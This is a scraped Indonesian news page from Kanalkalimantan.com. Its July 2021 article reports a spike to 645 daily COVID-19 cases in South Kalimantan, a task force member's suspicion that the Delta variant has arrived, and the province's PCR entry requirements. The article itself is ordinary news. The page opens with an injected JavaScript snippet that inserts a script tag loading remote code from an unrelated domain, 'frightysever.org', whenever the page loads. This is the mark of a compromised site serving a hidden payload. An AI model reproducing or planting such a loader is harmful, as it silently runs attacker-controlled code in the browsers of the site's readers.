(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Lonjakan Tajam Kasus Harian, Tim Satgas Covid-19 ‘Curiga’ Varian Delta Sudah Masuk Kalsel


KANALKALIMANTAN.COM, BANJARBARU – Kasus positif Covid-19 Kalsel hari ini, Sabtu (17/7/2021) berada di angka 645 orang. Angka ini terus meningkat setiap hari. Seakan virus Covid-19 begitu mudahnya menyebar dan menggandakan diri. Apakah ini menandakan sudah ada varian delta di Kalsel?

Menanggapi pertanyaan itu, Hidayatullah Muttaqin, Anggota Tim Satgas Covid-19 Kalsel mengungkapkan bahwa ada kemungkinan varian terbaru dari Covid tersebut sudah ada.


“Meskipun belum ada hasil resmi dari Kemenkes RI bahwa varian Delta sudah masuk di Kalsel, tetapi varian ini kemungkinan sudah ada dari indikasi lajunya pertumbuhan kasus Covid-19 dan cepatnya jumlah pasien yang memenuhi rumah sakit,” terangnya kepada Kanalkalimantan.com.

 

 

Baca juga: WASPADA. Rekor Baru Covid-19 Kalsel Hari Ini Capai 645 Kasus, Banjarmasin Tertinggi

Apalagi sebelum terjadi ledakan kasus di bulan Juli ini mobilitas penduduk antar provinsi dan antar pulau baik lewat jalan darat, udara dan laut cukup longgar.

“Hal ini kemungkinan sudah ada bibit masuk dari Jawa atau dari Kalteng dan Kaltim,” ujarnya.
Hidayatullah berpendapat bahwa seharusnya Pemerintah Provinsi Kalsel mengambil sikap sesegera mungkin untuk menghentikan laju penyebaran Covid-19.

“Segera menurunkan laju mobilitas penduduk baik mobilitas lokal maupun antar daerah, meningkatkan edukasi perubahan perilaku masyarakat, pendekatan persuasif dan humanis dalam penerapan prokes, serta koordinasi yang kuat dengan Pemerintah Kabupaten dan Kota di Kalimantan Selatan,” katanya.

Menurutnya, pembenahan masalah di hulu ini sangat penting supaya di hilir, rumah sakit dan nakes memiliki kapasitas yang cukup untuk merawat pasien.

Ia menganggap bahwa kebijakan yang dilakukan pemerintah lokal belum maksimal.
“Belum maksimal karena mobilitas penduduk masih tinggi, makanya angka positif semakin bertambah,” ucap Hidayatullah.

Sebelumnya, Pemprov Kalsel mewajibkan setiap orang yang akan memasuki wilayah perbatasan Kalsel wajib menunjukkan hasil negatif pemeriksaan polymerase chain reaction (PCR).

Keputusan itu sebagaimana tertuang dalam surat edaran (SE) yang ditandatangani Pj Gubernur Safrizal ZA bersama jajaran Forum Koordinasi Pimpinan Daerah (Forkopimda) Kalsel.

Pada SE Nomor 800/2998/DINKES 2021 tersebut, tercantum ketentuan tentang pemeriksaan Swab Real Time-Polymerase Chain Reaction (RT-PCR) bagi pelaku perjalanan di Provinsi Kalimantan Selatan. Surat ditandatangani pada Jumat (9/7/2021).

Dalam SE tersebut, Safrizal mengatakan, langkah tersebut dilakukan sehubungan dengan adanya perkembangan kasus Covid-19 yang mengalami trend peningkatan kasus.

Baca juga: “Serbuan Vaksinasi” Lanal Banjarmasin ke Masyarakat Maritim DAS Barito


“Maka untuk mengantisipasi munculnya varian baru COVID-19 di Provinsi Kalimantan Selatan, bersama ini disampaikan agar seluruh pelaku perjalanan Luar Negeri dan atau dalam Negeri diwajibkan melakukan test Swab RT-PCR sebagai persyaratan masuk wilayah Provinsi Kalimantan Selatan, baik melalui udara, laut, darat antar provinsi,” terangnya.

Baca juga: SUBHANALLAH. Foto Tuan Guru Pendiri Ponpes Al Falah Tidak Tersentuh Api Saat Kebakaran!

Diharapkan semua pelaku yang masuk wilayah Kalimantan Selatan berasal dari wilayah level 4 dan level 5 berdasarkan instruksi Mendagri tentang PPKM Darurat wajib melakukan isolasi (mandiri atau tempat khusus) selama 5 hari dan dapat beraktivitas seperti biasa jika hasil Swab RT-PCR Negatif.

“Untuk para pelaku perjalanan yang melakukan isolasi mandiri jika terdapat gejala indikasi Covid-19 wajib segera melakukan Swab RT-PCR. jika apabila dinyatakan positif untuk segera memberi data informasi ke Satgas Covid -19 setempat untuk keperluan Tracing, Testing, dan Treatment (3T),” jelasnya.

Dengan ditertibkannya pemberlakuan PPKM Mikro yang ditetapkan sebagai wilayah level dengan mengacu pada keputusan Menteri Kesehatan Republik Indonesia Nomor Hk.01.07/Menkes /4805/2021, tentang indikator penyesuaian upaya kesehatan masyarakat dan pembatasan sosial dalam penanggulangan pandemi Covid -19. (kanalkalimantan.com/nurul)

Reporter: nurul
Editor: cell


Risa

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

7 jam ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

9 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

10 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

10 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

14 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

14 jam ago

This website uses cookies.